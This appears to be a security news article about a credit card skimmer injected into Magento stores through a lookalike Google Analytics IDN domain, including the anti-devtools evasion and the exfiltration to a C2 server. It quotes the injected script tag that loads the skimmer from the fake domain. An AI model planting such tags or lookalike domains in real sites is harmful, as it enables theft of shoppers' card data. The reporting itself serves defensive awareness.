Hackers Using Fake Google Domain to Inject Credit Card Skimmer in Magneto Sites

Cybercriminals using fake Google domain to infect the Credit card skimmer in Magneto websites using Internationalized domain name (IDN) EX: google-analytîcs[.]com or xn--google-analytcs-xpb[.]com ASCII.

Researchers found a Magento website blacklisted by McAfee SiteAdvisor. Later, they digging deeper and found that the site infected with a credit card skimmer loading JavaScript from IDN domain.

<script type=”text/javascript” src=”//google-analytîcs.com/www.[redacted].com/3f5cf4657d5d9.js”></script>

The technique is similar to the phishing attack and the attacker’s selected the domain name that looks like a legitimate one to fool victims to access it without noticing that the domain is not a perfect match with the original domain.

Similar to the other credit card skimmers, it captures the user’s input data using the document.getElementsByTagName function and store it.

Evade Detection

Attacker wrote a javascript code that can change its behavior by checking Google Chrome or Mozilla Firefox for whether developer tools are opened.

If its find the developer’s tool left open in the browsers, Javascript code prevents itself and doesn’t exfiltrate any of the captured input data to the C2 server and the credit card skimmer itself supports dozens of payment gateways.

Fake Google Domain Receive Stolen Data

At any point, if the malicious code doesn’t detect developer tools in the browsing session, stolen skimmed data will be sent to command and control server that control by bad actors.

According to Sucuri, In the Magento’s core_config_data table we found malicious code used to store configuration values from the Magento admin interface. This is often targeted by malware.

Based on research published by Sucuri in 2018, “83% of Magento websites were vulnerable at the point of infection. In an effort to obtain sensitive customer data and credit card information from e-commerce websites, attackers continue to leverage vulnerable Magento installations.”

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